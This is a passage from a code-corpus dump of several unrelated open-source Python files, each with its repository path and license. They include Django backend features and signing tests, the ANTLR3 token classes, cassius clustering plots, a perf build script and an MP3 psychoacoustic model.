VALUES (8)') self.connection.rollback() self.connection.set_autocommit(True) cursor.execute('SELECT COUNT(X) FROM ROLLBACK_TEST') count, = cursor.fetchone() cursor.execute('DROP TABLE ROLLBACK_TEST') return count == 0 @cached_property def supports_stddev(self): """Confirm support for STDDEV and related stats functions.""" try: self.connection.ops.check_expression_support(StdDev(1)) return True except NotImplementedError: return False def introspected_boolean_field_type(self, field=None, created_separately=False): """ What is the type returned when the backend introspects a BooleanField? The optional arguments may be used to give further details of the field to be introspected; in particular, they are provided by Django's test suite: field -- the field definition created_separately -- True if the field was added via a SchemaEditor's AddField, False if the field was created with the model Note that return value from this function is compared by tests against actual introspection results; it should provide expectations, not run an introspection itself. """ if self.can_introspect_null and field and field.null: return 'NullBooleanField' return 'BooleanField'
apache-2.0
kastnerkyle/pylearn2
pylearn2/cross_validation/tests/test_train_cv_extensions.py
49
1681
""" Tests for TrainCV extensions. """ import os import tempfile from pylearn2.config import yaml_parse from pylearn2.testing.skip import skip_if_no_sklearn def test_monitor_based_save_best_cv(): """Test MonitorBasedSaveBestCV.""" handle, filename = tempfile.mkstemp() skip_if_no_sklearn() trainer = yaml_parse.load(test_yaml_monitor_based_save_best_cv % {'save_path': filename}) trainer.main_loop() # clean up os.remove(filename) test_yaml_monitor_based_save_best_cv = """ !obj:pylearn2.cross_validation.TrainCV { dataset_iterator: !obj:pylearn2.cross_validation.dataset_iterators.DatasetKFold { dataset: !obj:pylearn2.testing.datasets.random_one_hot_dense_design_matrix { rng: !obj:numpy.random.RandomState { seed: 1 }, num_examples: 100, dim: 10, num_classes: 2, }, }, model: !obj:pylearn2.models.autoencoder.Autoencoder { nvis: 10, nhid: 8, act_enc: sigmoid, act_dec: linear }, algorithm: !obj:pylearn2.training_algorithms.bgd.BGD { batch_size: 50, line_search_mode: exhaustive, conjugate: 1, termination_criterion: !obj:pylearn2.termination_criteria.EpochCounter { max_epochs: 1, }, cost: !obj:pylearn2.costs.autoencoder.MeanSquaredReconstructionError { }, }, cv_extensions: [ !obj:pylearn2.cross_validation.train_cv_extensions.MonitorBasedSaveBestCV { channel_name: train_objective, save_path: %(save_path)s, }, ], } """
bsd-3-clause
anna-effeindzourou/trunk
examples/PeriodicBoundaries/periodic-compress.py
8
1186
''' This example shows compression of a packing with a periodic cell. ''' O.periodic=True O.cell.setBox(20,20,10) from yade import pack,timing O.materials.append(FrictMat(young=30e9,density=2400)) p=pack.SpherePack() p.makeCloud(Vector3(0,0,0),Vector3(20,20,10),1,.5,700,True) for sph in p: O.bodies.append(sphere(sph[0],sph[1])) O.timingEnabled=True O.engines=[ ForceResetter(), InsertionSortCollider([Bo1_Sphere_Aabb()],allowBiggerThanPeriod=True), InteractionLoop( [Ig2_Sphere_Sphere_ScGeom()], [Ip2_FrictMat_FrictMat_FrictPhys()], [Law2_ScGeom_FrictPhys_CundallStrack()], ), PeriIsoCompressor(charLen=.5,stresses=[-50e9,-1e8],doneHook="print 'FINISHED'; O.pause() ",keepProportions=True), NewtonIntegrator(damping=.4) ] O.dt=PWaveTimeStep() O.saveTmp() #print O.cell.refSize from yade import qt; qt.Controller(); qt.View() O.run() O.wait() timing.stats() #while True: # O.step() # now take that packing and pad some larger volume with it #sp=pack.SpherePack() #sp.fromSimulation() # take spheres from simulation; cellSize is set as well #O.reset() #print sp.cellSize #sp.cellFill((30,30,30)) #print sp.cellSize #for s in sp: # O.bodies.append(sphere(s[0],s[1]))
gpl-2.0
devfreesg/gpudb
SQL2XML/antlr3/tokens.py
99
12016
"""ANTLR3 runtime package""" # begin[licence] # # [The "BSD licence"] # Copyright (c) 2005-2008 Terence Parr # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions # are met: # 1. Redistributions of source code must retain the above copyright # notice, this list of conditions and the following disclaimer. # 2. Redistributions in binary form must reproduce the above copyright # notice, this list of conditions and the following disclaimer in the # documentation and/or other materials provided with the distribution. # 3. The name of the author may not be used to endorse or promote products # derived from this software without specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR # IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES # OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. # IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, # INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT # NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, # DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY # THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT # (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF # THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. # # end[licence] from antlr3.constants import EOF, DEFAULT_CHANNEL, INVALID_TOKEN_TYPE ############################################################################ # # basic token interface # ############################################################################ class Token(object): """@brief Abstract token baseclass.""" def getText(self): """@brief Get the text of the token. Using setter/getter methods is deprecated. Use o.text instead. """ raise NotImplementedError def setText(self, text): """@brief Set the text of the token. Using setter/getter methods is deprecated. Use o.text instead. """ raise NotImplementedError def getType(self): """@brief Get the type of the token. Using setter/getter methods is deprecated. Use o.type instead.""" raise NotImplementedError def setType(self, ttype): """@brief Get the type of the token. Using setter/getter methods is deprecated. Use o.type instead.""" raise NotImplementedError def getLine(self): """@brief Get the line number on which this token was matched Lines are numbered 1..n Using setter/getter methods is deprecated. Use o.line instead.""" raise NotImplementedError def setLine(self, line): """@brief Set the line number on which this token was matched Using setter/getter methods is deprecated. Use o.line instead.""" raise NotImplementedError def getCharPositionInLine(self): """@brief Get the column of the tokens first character, Columns are numbered 0..n-1 Using setter/getter methods is deprecated. Use o.charPositionInLine instead.""" raise NotImplementedError def setCharPositionInLine(self, pos): """@brief Set the column of the tokens first character, Using setter/getter methods is deprecated. Use o.charPositionInLine instead.""" raise NotImplementedError def getChannel(self): """@brief Get the channel of the token Using setter/getter methods is deprecated. Use o.channel instead.""" raise NotImplementedError def setChannel(self, channel): """@brief Set the channel of the token Using setter/getter methods is deprecated. Use o.channel instead.""" raise NotImplementedError def getTokenIndex(self): """@brief Get the index in the input stream. An index from 0..n-1 of the token object in the input stream. This must be valid in order to use the ANTLRWorks debugger. Using setter/getter methods is deprecated. Use o.index instead.""" raise NotImplementedError def setTokenIndex(self, index): """@brief Set the index in the input stream. Using setter/getter methods is deprecated. Use o.index instead.""" raise NotImplementedError def getInputStream(self): """@brief From what character stream was this token created. You don't have to implement but it's nice to know where a Token comes from if you have include files etc... on the input.""" raise NotImplementedError def setInputStream(self, input): """@brief From what character stream was this token created. You don't have to implement but it's nice to know where a Token comes from if you have include files etc... on the input.""" raise NotImplementedError ############################################################################ # # token implementations # # Token # +- CommonToken # \- ClassicToken # ############################################################################ class CommonToken(Token): """@brief Basic token implementation. This implementation does not copy the text from the input stream upon creation, but keeps start/stop pointers into the stream to avoid unnecessary copy operations. """ def __init__(self, type=None, channel=DEFAULT_CHANNEL, text=None, input=None, start=None, stop=None, oldToken=None): Token.__init__(self) if oldToken is not None: self.type = oldToken.type self.line = oldToken.line self.charPositionInLine = oldToken.charPositionInLine self.channel = oldToken.channel self.index = oldToken.index self._text = oldToken._text if isinstance(oldToken, CommonToken): self.input = oldToken.input self.start = oldToken.start self.stop = oldToken.stop else: self.type = type self.input = input self.charPositionInLine = -1 # set to invalid position self.line = 0 self.channel = channel #What token number is this from 0..n-1 tokens; < 0 implies invalid index self.index = -1 # We need to be able to change the text once in a while. If # this is non-null, then getText should return this. Note that # start/stop are not affected by changing this. self._text = text # The char position into the input buffer where this token starts self.start = start # The char position into the input buffer where this token stops # This is the index of the last char, *not* the index after it! self.stop = stop def getText(self): if self._text is not None: return self._text if self.input is None: return None return self.input.substring(self.start, self.stop) def setText(self, text): """ Override the text for this token. getText() will return this text rather than pulling from the buffer. Note that this does not mean that start/stop indexes are not valid. It means that that input was converted to a new string in the token object. """ self._text = text text = property(getText, setText) def getType(self): return self.type def setType(self, ttype): self.type = ttype def getLine(self): return self.line def setLine(self, line): self.line = line def getCharPositionInLine(self): return self.charPositionInLine def setCharPositionInLine(self, pos): self.charPositionInLine = pos def getChannel(self): return self.channel def setChannel(self, channel): self.channel = channel def getTokenIndex(self): return self.index def setTokenIndex(self, index): self.index = index def getInputStream(self): return self.input def setInputStream(self, input): self.input = input def __str__(self): if self.type == EOF: return "<EOF>" channelStr = "" if self.channel > 0: channelStr = ",channel=" + str(self.channel) txt = self.text if txt is not None: txt = txt.replace("\n","\\\\n") txt = txt.replace("\r","\\\\r") txt = txt.replace("\t","\\\\t") else: txt = "<no text>" return "[@%d,%d:%d=%r,<%d>%s,%d:%d]" % ( self.index, self.start, self.stop, txt, self.type, channelStr, self.line, self.charPositionInLine ) class ClassicToken(Token): """@brief Alternative token implementation. A Token object like we'd use in ANTLR 2.x; has an actual string created and associated with this object. These objects are needed for imaginary tree nodes that have payload objects. We need to create a Token object that has a string; the tree node will point at this token. CommonToken has indexes into a char stream and hence cannot be used to introduce new strings. """ def __init__(self, type=None, text=None, channel=DEFAULT_CHANNEL, oldToken=None ): Token.__init__(self) if oldToken is not None: self.text = oldToken.text self.type = oldToken.type self.line = oldToken.line self.charPositionInLine = oldToken.charPositionInLine self.channel = oldToken.channel self.text = text self.type = type self.line = None self.charPositionInLine = None self.channel = channel self.index = None def getText(self): return self.text def setText(self, text): self.text = text def getType(self): return self.type def setType(self, ttype): self.type = ttype def getLine(self): return self.line def setLine(self, line): self.line = line def getCharPositionInLine(self): return self.charPositionInLine def setCharPositionInLine(self, pos): self.charPositionInLine = pos def getChannel(self): return self.channel def setChannel(self, channel): self.channel = channel def getTokenIndex(self): return self.index def setTokenIndex(self, index): self.index = index def getInputStream(self): return None def setInputStream(self, input): pass def toString(self): channelStr = "" if self.channel > 0: channelStr = ",channel=" + str(self.channel) txt = self.text if txt is None: txt = "<no text>" return "[@%r,%r,<%r>%s,%r:%r]" % (self.index, txt, self.type, channelStr, self.line, self.charPositionInLine ) __str__ = toString __repr__ = toString EOF_TOKEN = CommonToken(type=EOF) INVALID_TOKEN = CommonToken(type=INVALID_TOKEN_TYPE) # In an action, a lexer rule can set token to this SKIP_TOKEN and ANTLR # will avoid creating a token for this symbol and try to fetch another. SKIP_TOKEN = CommonToken(type=INVALID_TOKEN_TYPE)
apache-2.0
opendatagroup/cassius
tags/cassius_0_1_0_3/cassius/applications/clustering.py
2
7929
import math import numpy import numpy.linalg import cassius.containers as containers import cassius.mathtools as mathtools import cassius.color as color from cassius.containers import Auto import augustus.core.pmml41 as pmml def _autoAxis(values): originN, xscale, xbasis, yscale, ybasis = mathtools.principleComponents(values) [xorigin], [yorigin] = (numpy.matrix([xbasis, ybasis]) * numpy.matrix(originN).T).tolist() xmin = xorigin - 3.*xscale xmax = xorigin + 3.*xscale ymin = yorigin - 3.*yscale ymax = yorigin + 3.*yscale return xbasis, ybasis, originN, xorigin, xmin, xmax, yorigin, ymin, ymax def _replaceParams(values, xbasis, ybasis, origin, xmin, xmax, ymin, ymax): replacements = list(_autoAxis(values)) if xbasis is not Auto: replacements[0] = xbasis if ybasis is not Auto: replacements[1] = ybasis if xmin is not Auto: replacements[4] = xmin if xmax is not Auto: replacements[5] = xmax if ymin is not Auto: replacements[7] = ymin if ymax is not Auto: replacements[8] = ymax xbasis, ybasis, originN, xorigin, xmin, xmax, yorigin, ymin, ymax = replacements if origin is Auto: origin = numpy.matrix(originN).T - (numpy.matrix([xbasis, ybasis]).I * numpy.matrix([[xorigin], [yorigin]])) origin = origin.T.tolist()[0] return xbasis, ybasis, origin, xmin, xmax, ymin, ymax def _replaceLabel(basis, features): if features is None: features = [None] * len(basis) elif len(features) != len(basis): raise containers.ContainerException, "Length of feature names (%d) must equal the number of cluster fields (%d)" % (len(features), len(basis)) maxBasis = max(map(abs, basis)) label = [] for i, (coefficient, feature) in enumerate(zip(basis, features)): if abs(coefficient) > 0.01 * maxBasis: term = "%g " % mathtools.round_sigfigs(coefficient, 2) term = term.replace("-", u"\u2212") if feature is None: term += "x%s" % unichr(0x2080 + i) else: term += feature label.append(term) label = " + ".join(label) return label def ClusterModelMap(model, xbasis=Auto, ybasis=Auto, origin=Auto, xbins=300, xmin=Auto, xmax=Auto, xlabel=Auto, ybins=300, ymin=Auto, ymax=Auto, ylabel=Auto, colors=Auto, bordercolor="black", smooth=True, features=None, **kwds): if Auto in (xbasis, ybasis, origin, xmin, xmax, ymin, ymax): values = [i.value for i in model.cluster] xbasis, ybasis, origin, xmin, xmax, ymin, ymax = \ _replaceParams(values, xbasis, ybasis, origin, xmin, xmax, ymin, ymax) if features is None: features = [i["field"] for i in model.matches(pmml.ClusteringField)] if xlabel is Auto: xlabel = _replaceLabel(xbasis, features) if ylabel is Auto: ylabel = _replaceLabel(ybasis, features) if len(xbasis) != model.numberOfFields or len(ybasis) != model.numberOfFields or len(origin) != model.numberOfFields: raise containers.ContainerException, "The xbasis (%d), ybasis (%d), and origin (%d) must have the same dimension as the model, which is %d" % (len(xbasis), len(ybasis), len(origin), model.numberOfFields) N = model.numberOfFields validationResults = model.validate() if validationResults is not None: raise RuntimeError, "PMML model not valid: %s at treeindex %s" % (validationResults[0], tuple(validationResults[1])) if not model["modelClass"] == "centerBased": raise NotImplementedError, "ClusterModelMap has only been implemented for 'centerBased' ClusteringModels (see attribute 'modelClass')" if not model.child(pmml.ComparisonMeasure)["kind"] == "distance": raise NotImplementedError, "ClusterModelMap has only been implemented for 'distance' ComparisonMeasures (see attribute 'kind')" categories = list(model.ids) projection = numpy.matrix([xbasis, ybasis]) antiProjection = projection.I origin = numpy.matrix(origin).T categorizer = lambda x, y: model.closestCluster(((antiProjection * numpy.matrix([[x], [y]])) + origin).A.reshape(N).tolist())[0] kwds.update({"xlabel": xlabel, "ylabel": ylabel}) return containers.RegionMap(xbins, xmin, xmax, ybins, ymin, ymax, categories, categorizer, colors, bordercolor, smooth, **kwds) def ClusterDataScatter(values, xbasis=Auto, ybasis=Auto, origin=Auto, xmin=Auto, xmax=Auto, xlabel=Auto, ymin=Auto, ymax=Auto, ylabel=Auto, maxDistance=None, metric=Auto, limit=None, features=None, **kwds): if Auto in (xbasis, ybasis, origin, xmin, xmax, ymin, ymax): xbasis, ybasis, origin, xmin, xmax, ymin, ymax = \ _replaceParams(values, xbasis, ybasis, origin, xmin, xmax, ymin, ymax) if xlabel is Auto: xlabel = _replaceLabel(xbasis, features) if ylabel is Auto: ylabel = _replaceLabel(ybasis, features) if len(xbasis) != len(values[0]) or len(ybasis) != len(values[0]) or len(origin) != len(values[0]): raise containers.ContainerException, "The xbasis (%d), ybasis (%d), and origin (%d) must have the same dimension as the data, which is %d (first item, at least...)" % (len(xbasis), len(ybasis), len(origin), len(values[0])) N = len(values[0]) values = numpy.array(values) projection = numpy.matrix([xbasis, ybasis]) origin = numpy.matrix(origin).T if maxDistance is not None and len(values) > 0: antiProjection = projection.I squish = antiProjection * projection # squish it onto the plane: this is not the identity because antiProjection is a right-inverse planeValues = numpy.apply_along_axis(lambda value: ((squish * (numpy.matrix(value).T - origin)) + origin).A.reshape(N), 1, values) if metric is Auto: # default to an optimized euclidean distances = numpy.apply_along_axis(lambda value: math.sqrt(numpy.sum(value**2)), 1, values - planeValues) else: zero = numpy.zeros(N) distances = numpy.apply_along_axis(lambda value: metric(value, zero), 1, values - planeValues) values = values[distances < maxDistance] if len(values) > 0: values = numpy.apply_along_axis(lambda value: (projection * (numpy.matrix(value).T - origin)).A.reshape(2), 1, values) kwds.update({"xmin": xmin, "xmax": xmax, "xlabel": xlabel, "ymin": ymin, "ymax": ymax, "ylabel": ylabel, "limit": limit}) return containers.Scatter(values, ("x", "y"), **kwds) def ClusterOverlay(model, values, xbasis=Auto, ybasis=Auto, origin=Auto, xbins=300, xmin=Auto, xmax=Auto, xlabel=Auto, ybins=300, ymin=Auto, ymax=Auto, ylabel=Auto, maxDistance=None, metric=Auto, limit=None, colors=Auto, bordercolor="black", smooth=True, features=None, **kwds): if Auto in (xbasis, ybasis, origin, xmin, xmax, ymin, ymax): xbasis, ybasis, origin, xmin, xmax, ymin, ymax = \ _replaceParams(values, xbasis, ybasis, origin, xmin, xmax, ymin, ymax) if features is None: features = [i["field"] for i in model.matches(pmml.ClusteringField)] if xlabel is Auto: xlabel = _replaceLabel(xbasis, features) if ylabel is Auto: ylabel = _replaceLabel(ybasis, features) modelMap = ClusterModelMap(model, xbasis, ybasis, origin, xbins, xmin, xmax, xlabel, ybins, ymin, ymax, ylabel, colors, bordercolor, smooth) dataScatter = ClusterDataScatter(values, xbasis, ybasis, origin, xmin, xmax, xlabel, ymin, ymax, ylabel, maxDistance, metric, limit) colors = modelMap.colors if colors is Auto: colors = color.lightseries(len(modelMap.categories), alternating=False) fields = [[dataScatter, "data"]] for col, category in zip(colors, modelMap.categories): fields.append([containers.Style(linecolor=bordercolor, fillcolor=col), category]) legend = containers.Legend(fields, colwid=[0.3, 0.7], justify="cl") return containers.Overlay(0, modelMap, dataScatter, legend)
apache-2.0
dvliman/jaikuengine
.google_appengine/lib/django-1.4/tests/regressiontests/signing/tests.py
34
4197
import time from django.core import signing from django.test import TestCase from django.utils.encoding import force_unicode class TestSigner(TestCase): def test_signature(self): "signature() method should generate a signature" signer = signing.Signer('predictable-secret') signer2 = signing.Signer('predictable-secret2') for s in ( 'hello', '3098247:529:087:', u'\u2019'.encode('utf-8'), ): self.assertEqual( signer.signature(s), signing.base64_hmac(signer.salt + 'signer', s, 'predictable-secret') ) self.assertNotEqual(signer.signature(s), signer2.signature(s)) def test_signature_with_salt(self): "signature(value, salt=...) should work" signer = signing.Signer('predictable-secret', salt='extra-salt') self.assertEqual( signer.signature('hello'), signing.base64_hmac('extra-salt' + 'signer', 'hello', 'predictable-secret')) self.assertNotEqual( signing.Signer('predictable-secret', salt='one').signature('hello'), signing.Signer('predictable-secret', salt='two').signature('hello')) def test_sign_unsign(self): "sign/unsign should be reversible" signer = signing.Signer('predictable-secret') examples = ( 'q;wjmbk;wkmb', '3098247529087', '3098247:529:087:', 'jkw osanteuh ,rcuh nthu aou oauh ,ud du', u'\u2019', ) for example in examples: self.assertNotEqual( force_unicode(example), force_unicode(signer.sign(example))) self.assertEqual(example, signer.unsign(signer.sign(example))) def unsign_detects_tampering(self): "unsign should raise an exception if the value has been tampered with" signer = signing.Signer('predictable-secret') value = 'Another string' signed_value = signer.sign(value) transforms = ( lambda s: s.upper(), lambda s: s + 'a', lambda s: 'a' + s[1:], lambda s: s.replace(':', ''), ) self.assertEqual(value, signer.unsign(signed_value)) for transform in transforms: self.assertRaises( signing.BadSignature, signer.unsign, transform(signed_value)) def test_dumps_loads(self): "dumps and loads be reversible for any JSON serializable object" objects = ( ['a', 'list'], 'a string', u'a unicode string \u2019', {'a': 'dictionary'}, ) for o in objects: self.assertNotEqual(o, signing.dumps(o)) self.assertEqual(o, signing.loads(signing.dumps(o))) def test_decode_detects_tampering(self): "loads should raise exception for tampered objects" transforms = ( lambda s: s.upper(), lambda s: s + 'a', lambda s: 'a' + s[1:], lambda s: s.replace(':', ''), ) value = { 'foo': 'bar', 'baz': 1, } encoded = signing.dumps(value) self.assertEqual(value, signing.loads(encoded)) for transform in transforms: self.assertRaises( signing.BadSignature, signing.loads, transform(encoded)) class TestTimestampSigner(TestCase): def test_timestamp_signer(self): value = u'hello' _time = time.time time.time = lambda: 123456789 try: signer = signing.TimestampSigner('predictable-key') ts = signer.sign(value) self.assertNotEqual(ts, signing.Signer('predictable-key').sign(value)) self.assertEqual(signer.unsign(ts), value) time.time = lambda: 123456800 self.assertEqual(signer.unsign(ts, max_age=12), value) self.assertEqual(signer.unsign(ts, max_age=11), value) self.assertRaises( signing.SignatureExpired, signer.unsign, ts, max_age=10) finally: time.time = _time
apache-2.0
CyanogenMod/android_kernel_toshiba_betelgeuse
tools/perf/util/setup.py
560
1379
#!/usr/bin/python2 from distutils.core import setup, Extension from os import getenv from distutils.command.build_ext import build_ext as _build_ext from distutils.command.install_lib import install_lib as _install_lib class build_ext(_build_ext): def finalize_options(self): _build_ext.finalize_options(self) self.build_lib = build_lib self.build_temp = build_tmp class install_lib(_install_lib): def finalize_options(self): _install_lib.finalize_options(self) self.build_dir = build_lib cflags = ['-fno-strict-aliasing', '-Wno-write-strings'] cflags += getenv('CFLAGS', '').split() build_lib = getenv('PYTHON_EXTBUILD_LIB') build_tmp = getenv('PYTHON_EXTBUILD_TMP') perf = Extension('perf', sources = ['util/python.c', 'util/ctype.c', 'util/evlist.c', 'util/evsel.c', 'util/cpumap.c', 'util/thread_map.c', 'util/util.c', 'util/xyarray.c', 'util/cgroup.c'], include_dirs = ['util/include'], extra_compile_args = cflags, ) setup(name='perf', version='0.1', description='Interface with the Linux profiling infrastructure', author='Arnaldo Carvalho de Melo', author_email='[email protected]', license='GPLv2', url='http://perf.wiki.kernel.org', ext_modules=[perf], cmdclass={'build_ext': build_ext, 'install_lib': install_lib})
gpl-2.0
LCAV/MP3Lab
psychoacoustic.py
1
6282
import numpy as np import sys from parameters import * from common import add_db def smr_bit_allocation(params,smr): """Calculate bit allocation in subbands from signal-to-mask ratio.""" bit_allocation = np.zeros(N_SUBBANDS, dtype='uint8') bits_header = 32 bits_alloc = 4 * N_SUBBANDS * params.nch bits_available = (params.nslots + params.padbit) * SLOT_SIZE - (bits_header + bits_alloc) bits_available /= params.nch if bits_available <= 2 * FRAMES_PER_BLOCK + 6: sys.exit('Insufficient bits for encoding.') snr = params.table.snr mnr = snr[bit_allocation[:]] - smr while bits_available >= FRAMES_PER_BLOCK: subband = np.argmin(mnr) if bit_allocation[subband] == 15: mnr[subband] = INF continue if bit_allocation[subband] == 0: bits_needed = 2 * FRAMES_PER_BLOCK + 6 else: bits_needed = FRAMES_PER_BLOCK if bits_needed > bits_available: mnr[subband] = INF continue if bit_allocation[subband] == 0: bit_allocation[subband] = 2 else: bit_allocation[subband] += 1 bits_available -= bits_needed mnr[subband] = snr[bit_allocation[subband]-1] - smr[subband] return bit_allocation class TonalComponents: """Marking of tonal and non-tonal components in the psychoacoustic model.""" def __init__(self, X): self.spl = np.copy(X) self.flag = np.zeros(X.size, dtype='uint8') self.tonecomps = [] self.noisecomps = [] def model1(samples, params, sfindices): """Psychoacoustic model as described in ISO/IEC 11172-3, Annex D.1.""" table = params.table X = np.absolute(np.fft.rfft(samples * table.hann) / FFT_SIZE) X = 20 * np.log10(X + EPS) # Scaling so that the maximum magnitude is 96 dB. X += 96 - np.max(X) scf = table.scalefactor[sfindices] subband_spl = np.zeros(N_SUBBANDS) for sb in range(N_SUBBANDS): subband_spl[sb] = np.max(X[1 + sb * SUB_SIZE : 1 + sb * SUB_SIZE + SUB_SIZE]) subband_spl[sb] = np.maximum(subband_spl[sb], 20 * np.log10(scf[0,sb] * 32768) - 10) peaks = [] for i in range(3, FFT_SIZE / 2 - 6): if X[i]>=X[i+1] and X[i]>X[i-1]: peaks.append(i) #determining tonal and non-tonal components tonal = TonalComponents(X) tonal.flag[0:3] = IGNORE for k in peaks: is_tonal = True if k > 2 and k < 63: testj = [-2,2] elif k >= 63 and k < 127: testj = [-3,-2,2,3] else: testj = [-6,-5,-4,-3,-2,2,3,4,5,6] for j in testj: if tonal.spl[k] - tonal.spl[k+j] < 7: is_tonal = False break if is_tonal: tonal.spl[k] = add_db(tonal.spl[k-1:k+2]) tonal.flag[k+np.arange(testj[0], testj[-1] + 1)] = IGNORE tonal.flag[k] = TONE tonal.tonecomps.append(k) #non-tonal components for each critical band for i in range(table.cbnum - 1): weight = 0.0 msum = DBMIN for j in range(table.cbound[i], table.cbound[i+1]): if tonal.flag[i] == UNSET: msum = add_db((tonal.spl[j], msum)) weight += np.power(10, tonal.spl[j] / 10) * (table.bark[table.map[j]] - i) if msum > DBMIN: index = weight/np.power(10, msum / 10.0) center = table.cbound[i] + np.int(index * (table.cbound[i+1] - table.cbound[i])) if tonal.flag[center] == TONE: center += 1 tonal.flag[center] = NOISE tonal.spl[center] = msum tonal.noisecomps.append(center) #decimation of tonal and non-tonal components #under the threshold in quiet for i in range(len(tonal.tonecomps)): if i >= len(tonal.tonecomps): break k = tonal.tonecomps[i] if tonal.spl[k] < table.hear[table.map[k]]: tonal.tonecomps.pop(i) tonal.flag[k] = IGNORE i -= 1 for i in range(len(tonal.noisecomps)): if i >= len(tonal.noisecomps): break k = tonal.noisecomps[i] if tonal.spl[k] < table.hear[table.map[k]]: tonal.noisecomps.pop(i) tonal.flag[k] = IGNORE i -= 1 #decimation of tonal components closer than 0.5 Bark for i in range(len(tonal.tonecomps) -1 ): if i >= len(tonal.tonecomps) -1: break this = tonal.tonecomps[i] next = tonal.tonecomps[i+1] if table.bark[table.map[this]] - table.bark[table.map[next]] < 0.5: if tonal.spl[this]>tonal.spl[next]: tonal.flag[next] = IGNORE tonal.tonecomps.remove(next) else: tonal.flag[this] = IGNORE tonal.tonecomps.remove(this) #individual masking thresholds masking_tonal = [] masking_noise = [] for i in range(table.subsize): masking_tonal.append(()) zi = table.bark[i] for j in tonal.tonecomps: zj = table.bark[table.map[j]] dz = zi - zj if dz >= -3 and dz <= 8: avtm = -1.525 - 0.275 * zj - 4.5 if dz >= -3 and dz < -1: vf = 17 * (dz + 1) - (0.4 * X[j] + 6) elif dz >= -1 and dz < 0: vf = dz * (0.4 * X[j] + 6) elif dz >= 0 and dz < 1: vf = -17 * dz else: vf = -(dz - 1) * (17 - 0.15 * X[j]) - 17 masking_tonal[i] += (X[j] + vf + avtm,) for i in range(table.subsize): masking_noise.append(()) zi = table.bark[i] for j in tonal.noisecomps: zj = table.bark[table.map[j]] dz = zi - zj if dz >= -3 and dz <= 8: avnm = -1.525 - 0.175 * zj - 0.5 if dz >= -3 and dz < -1: vf = 17 * (dz + 1) - (0.4 * X[j] + 6) elif dz >= -1 and dz < 0: vf = dz * (0.4 * X[j] + 6) elif dz >= 0 and dz < 1: vf = -17 * dz else: vf = -(dz - 1) * (17 - 0.15 * X[j]) - 17 masking_noise[i] += (X[j] + vf + avnm,) #global masking thresholds masking_global = [] for i in range(table.subsize): maskers = (table.hear[i],) + masking_tonal[i] + masking_noise[i] masking_global.append(add_db(maskers)) #minimum masking thresholds mask = np.zeros(N_SUBBANDS) for sb in range(N_SUBBANDS): first = table.map[sb * SUB_SIZE] after_last = table.map[(sb + 1) * SUB_SIZE - 1] + 1 mask[sb] = np.min(masking_global[first:after_last]) #signal-to-mask ratio for each subband smr = subband_spl - mask subband_bit_allocation = smr_bit_allocation(params, smr) return subband_bit_allocation
gpl-3.0
40223103/w16b_test
static/Brython3.1.3-20150514-095342/Lib/xml/sax/xmlreader.py
824
12612
"""An XML Reader is the SAX 2 name for an XML parser. XML Parsers should be based on this code. """ from . import handler from ._exceptions import SAXNotSupportedException, SAXNotRecognizedException # ===== XMLREADER ===== class XMLReader: """Interface for reading an XML document using callbacks. XMLReader is the interface that an XML parser's SAX2 driver must implement. This interface allows an application to set and query features and properties in the parser, to register event handlers for document processing, and to initiate a document parse. All SAX interfaces are assumed to be synchronous: the parse methods must not return until parsing is complete, and readers must wait for an event-handler callback to return before reporting the next event.""" def __init__(self): self._cont_handler = handler.ContentHandler() self._dtd_handler = handler.DTDHandler() self._ent_handler = handler.EntityResolver() self._err_handler = handler.ErrorHandler() def parse(self, source): "Parse an XML document from a system identifier or an InputSource." raise NotImplementedError("This method must be implemented!") def getContentHandler(self): "Returns the current ContentHandler." return self._cont_handler def setContentHandler(self, handler): "Registers a new object to receive document content events." self._cont_handler = handler def getDTDHandler(self): "Returns the current DTD handler." return self._dtd_handler def setDTDHandler(self, handler): "Register an object to receive basic DTD-related events." self._dtd_handler = handler def getEntityResolver(self): "Returns the current EntityResolver." return self._ent_handler def setEntityResolver(self, resolver): "Register an object to resolve external entities." self._ent_handler = resolver def getErrorHandler(self): "Returns the current ErrorHandler." return self._err_handler def setErrorHandler(self, handler): "Register an object to receive error-message events." self._err_handler = handler def setLocale(self, locale): """Allow an application to set the locale for errors and warnings. SAX parsers are not required to provide localization for errors and warnings; if they cannot support the requested locale, however, they must raise a SAX exception. Applications may request a locale change in the middle of a parse.""" raise SAXNotSupportedException("Locale support not implemented") def getFeature(self, name): "Looks up and returns the state of a SAX2 feature." raise SAXNotRecognizedException("Feature '%s' not recognized" % name) def setFeature(self, name, state): "Sets the state of a SAX2 feature." raise SAXNotRecognizedException("Feature '%s' not recognized" % name) def getProperty(self, name): "Looks up and returns the value of a SAX2 property." raise SAXNotRecognizedException("Property '%s' not recognized" % name) def setProperty(self, name, value): "Sets the value of a SAX2 property." raise SAXNotRecognizedException("Property '%s' not recognized" % name) class IncrementalParser(XMLReader): """This interface adds three extra methods to the XMLReader interface that allow XML parsers to support incremental parsing. Support for this interface is optional, since not all underlying XML parsers support this functionality. When the parser is instantiated it is ready to begin accepting data from the feed method immediately. After parsing has been finished with a call to close the reset method must be called to make the parser ready to accept new data, either from feed or using the parse method. Note that these methods must _not_ be called during parsing, that is, after parse has been called and before it returns. By default, the class also implements the parse method of the XMLReader interface using the feed, close and reset methods of the IncrementalParser interface as a convenience to SAX 2.0 driver writers.""" def __init__(self, bufsize=2**16): self._bufsize = bufsize XMLReader.__init__(self) def parse(self, source): from . import saxutils source = saxutils.prepare_input_source(source) self.prepareParser(source) file = source.getByteStream() buffer = file.read(self._bufsize) while buffer: self.feed(buffer) buffer = file.read(self._bufsize) self.close() def feed(self, data): """This method gives the raw XML data in the data parameter to the parser and makes it parse 